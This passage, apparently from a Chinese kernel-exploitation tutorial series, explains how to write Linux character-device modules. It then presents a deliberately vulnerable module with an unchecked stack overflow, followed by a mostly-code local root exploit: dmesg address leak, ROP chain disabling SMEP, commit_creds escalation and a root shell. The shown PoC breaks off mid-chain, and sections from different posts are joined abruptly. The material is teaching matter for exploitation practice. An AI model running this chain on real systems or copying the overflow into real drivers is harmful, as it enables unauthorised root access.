void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

unsigned long findAddr() {

char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");

while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;

}

执行流程

这里还得说一下执行流程,比较不好调试

即先是依据write函数跳转到我们最开始设置的gadget,也就是movRspRax_decEbx_ret,然后将栈劫持为fake_tty_operations。之后再跳转到pop_rax_rbx_r12_r13_rbp_ret,将ROP赋值给rax,再ret到

movRspRax_decEbx_ret,再将栈劫持为ROP,之后就ret到ROP链条中的pop_rdi_ret了,之后执行流可控。

▲注意事项:

swapgs;ret没有时,可以用加上pop的,只要最后ret到iretq即可。同样的gadget可以相互转换。

iretq类似于ret,直接一个指令即可。

寄存器保存需要在进入内核之前。

堆块申请时的规则需要是GFP_KERNEL才行,至少GFP_DMA不行。

pwnKernel从0开始(一)

前言

网上一大堆教编译内核的,但由于我的水平太菜,很多教程我看得特别迷糊。还有第一次编译内核时,没设置好参数,直接把虚拟机编译炸开了。所以就想着能不能先做个一键获取内核源码和相关vmlinux以及bzImage的脚本,先试试题,后期再深入探究编译内核,加入debug符号什么的,所以就有了这个一键脚本。

这个直接看我的项目就好了,我是直接拖官方的docker,然后把编译所需要的环境都重新安装了一遍,基本可以适配所有环境,安装各个版本的内核,外加调试信息也可以配置

PIG-007/kernelAll (github.com)

前置环境,前置知识啥的在上面已经足够了,如果还是感觉有点迷糊可以再去搜搜其他教程。看雪的钞sir师傅和csdn上的ha1vk师傅就很不错啊,还有安全客上的ERROR404师傅

钞sir师傅:Ta的论坛 (pediy.com)

ha1vk师傅:kernel- CSDN搜索

error404师傅:Kernel Pwn 学习之路(一) - 安全客,安全资讯平台 (anquanke.com)

这个系列记录新的kernel解析,旨在从源码题目编写,不同内核版本来进行各式各样的出题套路解析和exp的解析。另外内核的pwn基本都是基于某个特定版本的内核来进行模块开发,而出漏洞地方就是这个模块,我们可以借助这个模块来攻破内核,所以我们进行内核pwn的时候,最应该先学习的就是一些简单内核驱动模块的开发。

一、例子编写

首先最简单和经典的的Hello world

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//注释头

//由于基本都是用下载的内核编译,所以这里的头文件直接放到正常的编译器中可能找不到对应的头文件。
//在自己下载的编译好的内核中自己找对应的,然后Makefile中来设置内核源码路径
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
static int __init hello_init(void)
{
printk("PIG007:Hello world!\n");
return 0;
}
static void __exit hello_exit(void)
{
printk("PIG007:Bye,world\n");
}
module_init(hello_init);
module_exit(hello_exit);

1.头文件简介

module.h:包含可装载模块需要的大量符号和函数定义。

init.h:指定初始化模块方面和清除函数。

另外大部分模块还包括moduleparam.h头文件,这样就可以在装载的时候向模块传递参数。而我们常常用的函数_copy_from_user则来自头文件uaccess.h

2.模块许可证

1
2
3
//注释头

MODULE_LICENSE("Dual BSD/GPL");

这个就是模块许可证,具体有啥用不太清楚,如有大佬恳请告知。可以通过下列命令查询

1
grep "MODULE_LICENSE" -B 27 /usr/src/linux-headers-`uname -r`/include/linux/module.h

image-20210927100912684

或者网址Linux内核许可规则 — The Linux Kernel documentation

3.模块加载卸载

加载

一般以 __init标识声明,返回值为0表示加载成功,为负数表示加载失败。用来初始化,定义之类的。

1
static int __init hello_init(void)

在整个模块的最后加上

1
module_init(hello_init);

来通过这个init函数加载模块

卸载

一般以 __exit标识声明,用来释放空间,清除一些东西的。

1
static void __exit hello_exit(void) 

同样的模块最后加上以下代码来卸载

1
module_exit(hello_exit);

▲其实加载和卸载有点类似于面向对象里的构造函数和析构函数。

以上是一个最简单的例子,下面讲讲实际题目的编写,实际的题目一般涉及驱动的装载。

二、题目编写

由于模块装载是在内核启动时完成的(root下也可以设置再insmod装载),所以一般需要安装驱动,通过驱动来启动模块中的代码功能。而驱动类型也一般有两种,一种是字符型设备驱动,一种是globalmem虚拟设备驱动。

分配得到的设备号可由cat /proc/devices来查看

image-20220330164118552

1.字符型设备驱动

(1)安装套路

首先了解一下驱动设备的结构体:

1
2
3
4
5
6
7
8
9
10
///linux/cdev.h   kernel 5.14.8

struct cdev {
struct kobject kobj; // 内嵌的kobject对象
struct module *owner; // 所属模块
const struct file_operations *ops; // 文件操作结构体,用来进行交互
struct list_head list;
dev_t dev; // 设备号
unsigned int count;
} __randomize_layout;

然后就是套路编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 设备结构体
struct xxx_dev_t {
struct cdev cdev;
} xxx_dev;

// 设备驱动模块加载函数
static int __init xxx_init(void)
{
char* DEV_NAME = 'PIG-007';
// 初始化cdev
cdev_init(&xxx_dev.cdev, &xxx_fops);
xxx_dev.cdev.owner = THIS_MODULE;

// 获取字符设备号
if (xxx_major) {
//使用指定的设备号进行分配,xxx_dev_no为设备号,1为设备个数
register_chrdev_region(xxx_dev_no, 1, DEV_NAME);
} else {
alloc_chrdev_region(&xxx_dev_no, 1, DEV_NAME);
}
//申请设备号常用alloc_chrdev_region,表动态申请设备号
//如果指定分配的时候如果占用了就容易出错

// 注册设备
ret = cdev_add(&xxx_dev.cdev, xxx_dev_no, 1);

}
// 设备驱动模块卸载函数
static void __exit xxx_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(xxx_dev_no, 1);
cdev_del(&xxx_dev.cdev);
}

这样简单的驱动就安装完了,安装完了之后,我们想要使用这个驱动的话,还需要进行交互,向驱动设备传递数据,所以上面的xxx_fops,即file_operations这个结构体就起到了这个功能。

有的时候安装注册设备驱动需要用到class来创建注册,原因未知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int __init xxx_init(void)
{
buffer_var=kmalloc(100,GFP_DMA);
printk(KERN_INFO "[i] Module xxx registered");
if (alloc_chrdev_region(&dev_no, 0, 1, "xxx") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, dev_no, NULL, "xxx") == NULL)
{
printk(KERN_INFO "[i] Module xxx error");
class_destroy(devClass);
unregister_chrdev_region(dev_no, 1);
return -1;
}
cdev_init(&cdev, &xxx_fops);
if (cdev_add(&cdev, dev_no, 1) == -1)
{
device_destroy(devClass, dev_no);
class_destroy(devClass);
unregister_chrdev_region(dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(dev_no), MINOR(dev_no));
return 0;

}

(2)交互套路

安装完成之后还需要交互,用到file_operations结构体中的成员函数,首先了解下这个结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
///linux/fs.h 	kernel 5.14.8

struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;

具体一点使用如下

image-20220330164350249

参考:https://www.youtube.com/watch?v=EJ0JQKvxf70&list=PLEJtkJ02eJVX9I66wJD1tn07R52DxVXG0&index=4

其中常用的就是read,write等函数。

之后也是正常的调用函数,套路编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 读设备
ssize_t xxx_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
...
copy_to_user(buf, ..., ...); // 内核空间到用户空间缓冲区的复制
...
}
// 写设备
ssize_t xxx_write(struct file *filp, const char __user *buf,
size_t count, loff_t *f_pos)
{
...
copy_from_user(..., buf, ...); // 用户空间缓冲区到内核空间的复制
...
}

// ioctl函数命令控制
long xxx_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
...
switch (cmd) {
case XXX_CMD1:
...
break;
case XXX_CMD2:
...
break;
default:
// 不支持的命令
return -ENOTTY;
}
return 0;
}

然后需要file_operations结构体中的函数来重写用户空间的write,open,read等函数:

1
2
3
4
5
6
7
8
static struct file_operations xxx_fops =
{
.owner = THIS_MODULE,
// .open = xxx_open,
// .release = xxx_close,
.write = xxx_write,
.read = xxxx_read
};

这样当用户空间打开该设备,调用该设备的write函数,就能通过.write进入到xxx_write函数中。

▲这样一些常规kernel题的编写模板就总结出来了。

(3)具体的题目

原题:https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric

①代码和简单的解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//正常的设置了dev_t和cdev,但是这里使用的class这个模板来创建设备驱动
//高12位为主设备号,低20位为次设备号
static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class
static char *buffer_var;

//打开关闭设备的消息提示函数
static int vuln_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module vuln: open()\n");
return 0;
}
static int vuln_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module vuln: close()\n");
return 0;
}

//从buffer_var中读取数据
static ssize_t vuln_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
if(strlen(buffer_var)>0) {
printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
kfree(buffer_var);
buffer_var=kmalloc(100,GFP_DMA);
return 0;
} else {
return 1;
}
}
//向buffer中写入数据,然后拷贝给buffer_var,这里就是漏洞存在点。
//由于len和buf都是我们可以控制的,而buffer是栈上的数据,长度为100。
//所以我们可以通过len和buf,将数据复制给buffer从而进行栈溢出。
static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]='\0';
printk("[i] Module vuln write: %s\n", buffer);
strncpy(buffer_var,buffer,len);
return len;//返回值不能为0,不然会一直调用该函数
}

//file_operations结构体初始化
static struct file_operations pugs_fops =
{
.owner = THIS_MODULE,
.open = vuln_open,
.release = vuln_close,
.write = vuln_write,
.read = vuln_read
};

//驱动设备加载函数
static int __init vuln_init(void) /* Constructor */
{
buffer_var=kmalloc(100,GFP_DMA);
printk(KERN_INFO "[i] Module vuln registered");
if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
{
return -1;
}
if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(first, 1);
return -1;
}
if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
{
printk(KERN_INFO "[i] Module vuln error");
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}
cdev_init(&c_dev, &pugs_fops);
if (cdev_add(&c_dev, first, 1) == -1)
{
device_destroy(cl, first);
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
return 0;
}

//驱动设备卸载函数
static void __exit vuln_exit(void) /* Destructor */
{
unregister_chrdev_region(first, 3);
printk(KERN_INFO "Module vuln unregistered");
}

module_init(vuln_init);
module_exit(vuln_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("blackndoor");
MODULE_DESCRIPTION("Module vuln overflow");

②内核函数解析

printk:
1
printk(日志级别 "消息文本");

其中日志级别定义如下:

1
2
3
4
5
6
7
8
#defineKERN_EMERG "<0>"/*紧急事件消息,系统崩溃之前提示,表示系统不可用*/
#defineKERN_ALERT "<1>"/*报告消息,表示必须立即采取措施*/
#defineKERN_CRIT "<2>"/*临界条件,通常涉及严重的硬件或软件操作失败*/
#define KERN_ERR "<3>"/*错误条件,驱动程序常用KERN_ERR来报告硬件的错误*/
#define KERN_WARNING "<4>"/*警告条件,对可能出现问题的情况进行警告*/
#define KERN_NOTICE "<5>"/*正常但又重要的条件,用于提醒。常用于与安全相关的消息*/
#define KERN_INFO "<6>"/*提示信息,如驱动程序启动时,打印硬件信息*/
#define KERN_DEBUG "<7>"/*调试级别的消息*/
kmalloc:
1
static inline void *kmalloc(size_t size, gfp_t flags)

其中flags一般设置为GFP_KERNEL或者GFP_DMA,在堆题中一般就是

GFP_KERNEL模式,如下:

 |– 进程上下文,可以睡眠     GFP_KERNEL
 |– 进程上下文,不可以睡眠    GFP_ATOMIC
 |  |– 中断处理程序       GFP_ATOMIC
 |  |– 软中断          GFP_ATOMIC
 |  |– Tasklet         GFP_ATOMIC
 |– 用于DMA的内存,可以睡眠   GFP_DMA | GFP_KERNEL
 |– 用于DMA的内存,不可以睡眠  GFP_DMA |GFP_ATOMIC

具体可以看

Linux内核空间内存申请函数kmalloc、kzalloc、vmalloc的区别【转】 - sky-heaven - 博客园 (cnblogs.com)

kzmalloc类似,就是分配空间并且内存初始化为0

kfree:

这个就不多说了,就是简单的释放。

copy_from_user:
1
copy_from_user(void *to, const void __user *from, unsigned long n)
copy_to_user:
1
copy_to_user(void __user *to, const void *from, unsigned long n)

这两个就不讲了,顾名思义。

注册函数

剩下的好多就是常见的注册函数了

1
2
3
4
5
6
alloc_chrdev_region(&t_dev, 0, 1, "xxx");//动态分配主设备号
unregister_chrdev_region(t_dev, 1);//移除模块时释放设备号
xxx_class = class_create(THIS_MODULE, "xxx");
device_create(xxx_class, NULL, devno, NULL, "xxx");
cdev_init(&c_dev, &pugs_fops);
cdev_add(&c_dev, t_dev, 1);

2.globalmem虚拟设备驱动

这个不太清楚,题目见的也少,先忽略。

3.块设备

register_blkdev

申请设备号

1
int ret = register_blkdev(xxx_dev_no,DEV_NAME);
  • 如果xxx_dev_no为0则由该函数自动分配设备号,ret即为返回的设备号
  • xxx_dev_no不为0则依据该设备号进行分配

unregister_blkdev

释放设备号

1
unregister_blkdev(xxx_dev_no,DEV_NAME);

printk()函数的总结 - 深蓝工作室 - 博客园 (cnblogs.com)

Linux kernel pwn notes(内核漏洞利用学习) - hac425 - 博客园 (cnblogs.com)

Linux设备驱动(二)字符设备驱动 | BruceFan’s Blog (pwn4.fun)

pwnKernel从0开始(二)

前言

先尝试下最简单的栈溢出,保护和未被保护的情况

给出自己设计的栈溢出题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//设备驱动常用变量
static char *buffer_var;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;


static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos);

static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);

static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

// static int stack_open(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: open()\n");
// return 0;
// }

// static int stack_close(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: close()\n");
// return 0;
// }

static struct file_operations stack_fops =
{
.owner = THIS_MODULE,
// .open = stack_open,
// .release = stack_close,
.write = stack_write,
.read = stack_read
};

// 设备驱动模块加载函数
static int __init stack_init(void)
{
buffer_var=kmalloc(100,GFP_DMA);
printk(KERN_INFO "[i] Module stack registered");
if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
{
printk(KERN_INFO "[i] Module stack error");
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
cdev_init(&cdev, &stack_fops);
if (cdev_add(&cdev, stack_dev_no, 1) == -1)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
return 0;

}

// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(stack_dev_no, 1);
cdev_del(&cdev);
}


// 读设备
ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "Stack_read function" );
if(strlen(buffer_var)>0) {
printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
kfree(buffer_var);
buffer_var=kmalloc(100,GFP_DMA);
return 0;
} else {
return 1;
}
}

// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
printk(KERN_INFO "Stack_write function" );
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]='\0';
printk("[i] Module stack write: %s\n", buffer);
strncpy(buffer_var,buffer,len);
return len;
}



// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
switch (cmd) {
case 1:
break;
case 2:
break;
default:
// 不支持的命令
return -ENOTTY;
}
return 0;
}


module_init(stack_init);
module_exit(stack_exit);

MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");

▲寻找gadget

ropper

1
ropper --file vmlinux --search "pop|ret"

这个比较慢,实在不推荐

objdump

1
objdump -d vmlinux -M intel | grep -E 'ret|pop'

这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下

image-20210930111201257

可以看到pop rax下并没有ret,但是依然查找出来了,其中pop raxpop rbx不是连在一起的,用的时候注意辨别。

ROPgadget

依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:

1
ROPgadget --binary vmlinux | grep "pop rdx ; ret"

一键获取

详见之前的项目中的getKernelROP命令,常用gadget,还是比较好用的

PIG-007/kernelAll (github.com)

PIG-007/kernelAll (gitee.com)

一、Stack被保护

这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。

方法一:

通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权,之后再启一个shell即可获得提权之后的shell。

1.获取地址

由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory*/
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");

while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}

//main函数中
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;

dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。

image-20210930112655023

2.关闭SMEP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned char payload[300] = {0};
unsigned char *p = payload;

/* pop rax;rbx;r12;rbp;ret;*/
unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
memcpy(p,&poprax,8);
printf(" pop rax at 0x%lx\n", poprax);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF rax*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* mov cr4, rax;rbp;ret */
unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
memcpy(p,&movcr4,8);
printf(" mov CR4, RAX at 0x%lx\n", movcr4);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

3.提权

1
2
3
4
5
6
7
8
9
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

/* getroot */
memcpy(p,&getR,8);
p+=8;

4.返回用户空间起Shell

1
2
3
4
5
6
7
8
9
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
/* swapgs;ret           */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;

/* shell */
memcpy(p,&sh,8);
p+=8;

5.设置寄存器保存和恢复

进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。

(1)保存环境

1
2
3
4
5
6
7
8
9
10
11
12
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。

(2)恢复环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* user_cs                        */
memcpy(p,&user_cs,8);
p+=8;

/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;

/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;

/* user_ss */
memcpy(p,&user_ss,8);

这个都是放在ROP链中,放在shell之后。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>


struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;

printf(" addr[0x%llx]\n", memOffset);

/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;

/* pop rax;rbx;r12;rbp;ret */
memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
printf(" pop rax at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF */
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* mov cr4, rax;rbp;ret */
memcpy(p,&movCr4Rax_pop_rbp,8);
printf(" mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* getroot */
memcpy(p,&getR,8);
p+=8;

/* swapgs;ret */
